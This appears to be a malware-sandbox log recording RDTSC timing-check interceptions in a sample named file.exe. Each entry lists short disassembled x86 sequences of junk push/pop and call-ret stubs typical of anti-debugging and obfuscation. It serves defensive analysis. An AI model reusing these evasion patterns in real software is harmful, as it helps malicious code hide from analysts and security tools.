Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A5FE second address: C4A602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A602 second address: C4A608 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A608 second address: C4A60E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BBED second address: C4BC7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F7A49940178h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov bx, ax 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D2058h], edx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F7A49940178h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b movsx edi, si 0x0000004e call 00007F7A49940184h 0x00000053 sub dword ptr [ebp+1249332Fh], edx 0x00000059 pop edi 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F7A4994017Fh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4ADFC second address: C4AE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4CBB7 second address: C4CBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4994017Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE94 second address: C4BE9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7A4900AE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE9E second address: C4BEC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BEC8 second address: C4BECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4DD7B second address: C4DD80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4DD80 second address: C4DD86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4F9F2 second address: C4FAA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F7A49940178h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 xor dword ptr [ebp+122D33B4h], esi 0x0000002c mov bx, dx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F7A49940178h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b jmp 00007F7A49940180h 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D1B99h], ecx 0x00000058 xchg eax, esi 0x00000059 jg 00007F7A49940180h 0x0000005f push eax 0x00000060 pushad 0x00000061 jmp 00007F7A49940184h 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4ED6F second address: C4ED73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4ED73 second address: C4ED79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4ED79 second address: C4ED7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C50A9D second address: C50AB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A49940181h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C50AB3 second address: C50ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a mov bl, 05h 0x0000000c push 00000000h 0x0000000e mov edi, dword ptr [ebp+122D1BAAh] 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FC96 second address: C4FCB4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7A49940186h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C50C44 second address: C50C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51BAE second address: C51BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51BB3 second address: C51BB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51CB1 second address: C51D61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F7A49940178h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov bx, EB32h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov edi, dword ptr [ebp+122D28B0h] 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F7A49940178h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 add ebx, dword ptr [ebp+122D1AC4h] 0x00000048 mov ebx, 5CD8574Fh 0x0000004d mov eax, dword ptr [ebp+122D004Dh] 0x00000053 xor dword ptr [ebp+122D3839h], eax 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push ebp 0x0000005e call 00007F7A49940178h 0x00000063 pop ebp 0x00000064 mov dword ptr [esp+04h], ebp 0x00000068 add dword ptr [esp+04h], 00000019h 0x00000070 inc ebp 0x00000071 push ebp 0x00000072 ret 0x00000073 pop ebp 0x00000074 ret 0x00000075 mov dword ptr [ebp+122D236Ch], edi 0x0000007b nop 0x0000007c ja 00007F7A49940185h 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 pushad 0x00000086 jmp 00007F7A4994017Bh 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51D61 second address: C51D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53B47 second address: C53B51 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56C10 second address: C56C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56C14 second address: C56C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53D72 second address: C53D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB7AC second address: BFB7B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53D76 second address: C53D7C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C52C99 second address: C52C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C54D53 second address: C54DE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F7A4900AE68h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D282Ah], ecx 0x00000033 jmp 00007F7A4900AE6Bh 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f adc di, ADBCh 0x00000044 mov eax, dword ptr [ebp+122D0A9Dh] 0x0000004a push 00000000h 0x0000004c push esi 0x0000004d call 00007F7A4900AE68h 0x00000052 pop esi 0x00000053 mov dword ptr [esp+04h], esi 0x00000057 add dword ptr [esp+04h], 0000001Bh 0x0000005f inc esi 0x00000060 push esi 0x00000061 ret 0x00000062 pop esi 0x00000063 ret 0x00000064 adc bh, FFFFFF9Eh 0x00000067 push FFFFFFFFh 0x00000069 xor bh, FFFFFF9Eh 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 jno 00007F7A4900AE66h 0x00000076 pop eax 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB7B2 second address: BFB7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F7A4994017Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB7C9 second address: BFB7D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53E41 second address: C53E45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C52D8F second address: C52DA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F7A4900AE6Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB7D7 second address: BFB7F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A49940188h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5A5EE second address: C5A5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C990 second address: C5C999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5A5F3 second address: C5A5F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5CBA8 second address: C5CBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64474 second address: C6447E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7A4900AE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6447E second address: C64482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64482 second address: C64488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64488 second address: C64498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F7A49940176h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64498 second address: C6449C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63C0A second address: C63C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7A49940182h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F7A49940176h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63C2D second address: C63C4B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A4900AE66h 0x00000008 jmp 00007F7A4900AE6Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F7A4900AE7Fh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63C4B second address: C63C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63DAE second address: C63DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63DB2 second address: C63DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7A4994017Dh 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jbe 00007F7A49940176h 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7A4994017Fh 0x0000001f jnc 00007F7A49940178h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6679 second address: BF667D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF667D second address: BF66BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A49940180h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A4994017Ch 0x00000012 jmp 00007F7A49940189h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF66BA second address: BF6704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7A4900AE6Dh 0x0000000e popad 0x0000000f jbe 00007F7A4900AE92h 0x00000015 push eax 0x00000016 jbe 00007F7A4900AE66h 0x0000001c jmp 00007F7A4900AE70h 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jc 00007F7A4900AE66h 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09063 second address: C09074 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09074 second address: C0907D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0907D second address: C09081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09081 second address: C09085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5C4 second address: C6D5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4994017Eh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5DA second address: C6D5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5E0 second address: C6D5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5EC second address: C6D607 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7A4900AE72h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D607 second address: C6D615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D615 second address: C6D64C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F7A4900AE72h 0x0000000f jl 00007F7A4900AE66h 0x00000015 popad 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jg 00007F7A4900AE66h 0x0000001f popad 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D64C second address: C6D650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D650 second address: C6D654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D654 second address: C6D65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D8BA second address: C6D8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9D4A second address: BF9D6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Ah 0x00000007 jmp 00007F7A4994017Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9D6A second address: BF9D6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9D6E second address: BF9D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9D74 second address: BF9D7B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7138F second address: C713AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7A49940176h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A4994017Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C713AD second address: C713B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7194A second address: C71965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F7A49940186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71ACD second address: C71AD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71C59 second address: C71C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71C5D second address: C71C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71C63 second address: C71C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7A49940182h 0x0000000c ja 00007F7A49940176h 0x00000012 jp 00007F7A49940176h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71DD4 second address: C71DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F7A4900AE66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71DE1 second address: C71DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD38B second address: BFD391 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77715 second address: C77722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F7A4994017Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C778A9 second address: C778AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C779F1 second address: C779F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77CD0 second address: C77CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77CD4 second address: C77CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77CD8 second address: C77CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7A4900AE70h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77CF2 second address: C77CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77E8A second address: C77E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
